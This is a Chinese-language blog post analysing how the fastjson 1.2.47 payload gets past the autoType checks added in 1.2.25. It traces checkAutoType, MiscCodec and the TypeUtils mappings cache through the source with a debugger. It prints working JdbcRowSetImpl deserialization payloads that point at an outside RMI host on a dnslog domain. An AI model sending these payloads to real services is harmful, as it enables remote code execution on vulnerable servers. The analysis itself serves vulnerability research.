zoukankan      html  css  js  c++  java
  • fastjson 1.2.47 payload分析

    0X01 fastjson 1.2.25修了什么

    用1.2.24的payload打一遍,autotype被拦截

    "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
    

    对比 1.2.24 和 1.2.25的看看

    在加载class的同时检测加载的类

    先进行了黑名单,黑名单命中就没了;
    黑名单列表

    再进行白名单,白名单命中直接过
    白名单

    所以,针对1.2.25的修改做突破

    0X02 1.2.25到1.2.47的ParserConfig.class checkAutoType函数

    改成了对比hash

    0X03 看看1.2.25 - 1.2.47的payload是怎么突破的

    1 payload

    String string = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://4444.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}}}";
    

    2 第一个解析 java.lang.Class

    ParserConfig.class中
    checkAutoType函数-> java.lang.Class 顺利通过
    在 mapping列表中(86个,没有java.lang.Class),没有找到,所以从 this.deserializers.findClass中寻找(按理解,是基础类,1024个),找到了,返回。

    3 第二个解析 com.sun.rowset.JdbcRowSetImpl

    在checkAutoType中

    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    

    跳转到getClassFromMapping函数,mappings从86个变成87个,多了一个com.sun.rowset.JdbcRowSetlmpl,之后顺利拿到class,在737返回。

    4 什么时候把jdbc塞进mappings的

    这个mapping,第一个还没看到。那么可能是第一次执行后塞进去的
    我们直接在TypeUtils.class里搜索"mappings.put(" ,loadClass里三次调用,也就是说如果调用这个loadClass可能会塞进来
    直接打上三个断点,看看是否是通过这里,被塞进来的

    发现确实是第一个解析完后,在解析第二个之前就塞进来了。在293行走到了TypeUtils的loadclass传入jdbc函数。
    具体找找在哪里,跟进去

    在fastjson/serializer/MiscCoded.class: 287中,调用loadClass,把com.sun.rowset.JdbcRowSetImpl传进去。

    那么问题,com.sun.rowset.JdbcRowSetImpl哪来的,明明className是 java.lang.class。发现还是DefaultJSONParser的parse来的。

    com.sun.rowset.JdbcRowSetImpl来自parse时, lexer.stringVal(),java.lang.Class的作用,会调用到这里。
    stringVal()是接口函数 (fastjson/parser/JSONLexerBase.class),具体实现的地方是fastjson/parser/JSONScanner.class,在下图1-1257 Step into进入。

    没有 hasSpecial,所以取42到42+29 com.sun.rowset.JdbcRowSetlmpl

    5 关于java.lang.class

    为什么是java.lang.class?
    因为反序列化处理类是MiscCodec。
    这种映射关系在哪里定义的?
    DefaultJSONParser.class 292行 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
    跳转ParserConfig.class,定义了1023种 类:反序列化处理类的映射关系

    6 由上而下

    payload

    "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
    

    parseObject:201 JSON->
    --parse:128, JSON->
    ----parse:137, JSON->
    ------parse:1293,DefaultJSONParser-> [return this.parse((Object)null);]
    --------parse:1327,DefaultJSONParser [case 12]

    第一轮,解析到第一段内容 name: {}
    [文件] DefaultJSONParser.class
    488行 obj = this.parseObject((Map)input, key); key:name
    --[文件] DefaultJSONParser.class
    --276行 第一个java.lang.Class经过checkAutoType后
    --292行 获取 "java.lang.class"的反序列化处理类 MiscCodec: ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
    --293行 thisObj = deserializer.deserialze(this, clazz, fieldName);
    --进入deserializer.deserialze-MiscCodec
    ----[文件] MiscCodec.class-deserialze:
    ----229行 objVal = parser.parse();
    ------[文件] DefaultJSONParser.class:
    ------1257 parser函数 case 4
    ------String stringLiteral = lexer.stringVal();
    --------[文件] fastjson.parser.JSONScanner.class:
    --------return !this.hasSpecial ? this.subString(this.np + 1, this.sp) : new String(this.sbuf, 0, this.sp);
    --------返回com.sun.rowset.JdbcRowSetImpl的objVal
    ----287行 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
    ------[文件] fastjson.util.TypeUtils.class:
    ------loadClass() 858行 把com.sun.rowset.JdbcRowSetImpl 放到mappings中
    第二轮,解析第二段内容 x:{}
    488行 obj = this.parseObject((Map)input, key); key:x
    --[文件] DefaultJSONParser.class
    --276行 typename="com.sun.rowset.JdbcRowSetImpl" 进入checkAutoType
    ----[文件] ParserConfig.class
    ----728行 Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    ------[文件] TypeUtils.class
    ------return (Class)mappings.get(className);
    ------mappings里已经有com.sun.rowset.JdbcRowSetImpl了
    ----736行 return clazz;
    --293 行 thisObj = deserializer.deserialze(this, clazz, fieldName);
    --loadclass 触发JdbcRowSetImpl

    7 回到1.2.47

    loadClass:1242, TypeUtils (com.alibaba.fastjson.util)
    mappings.put(className, clazz);
    loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
    return loadClass(className, classLoader, true);
    deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
    parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
    Object obj = deserializer.deserialze(this, clazz, fieldName);

    �由此修改mappings

  • 相关阅读:
    Python并行编程(七):线程同步之事件
    Python并行编程(六):线程同步之条件
    Python并行编程(五):线程同步之信号量
    Python并行编程(四):线程同步之RLock
    Python并行编程(三):线程同步之Lock
    UML关系总结——画uml图、流程图、软件结构图、类图、顺序图的方法
    2020,你好!
    字符串和多维数组
    排序算法
    查找技术
  • 原文地址:https://www.cnblogs.com/huim/p/15650245.html
Copyright © 2011-2022 走看看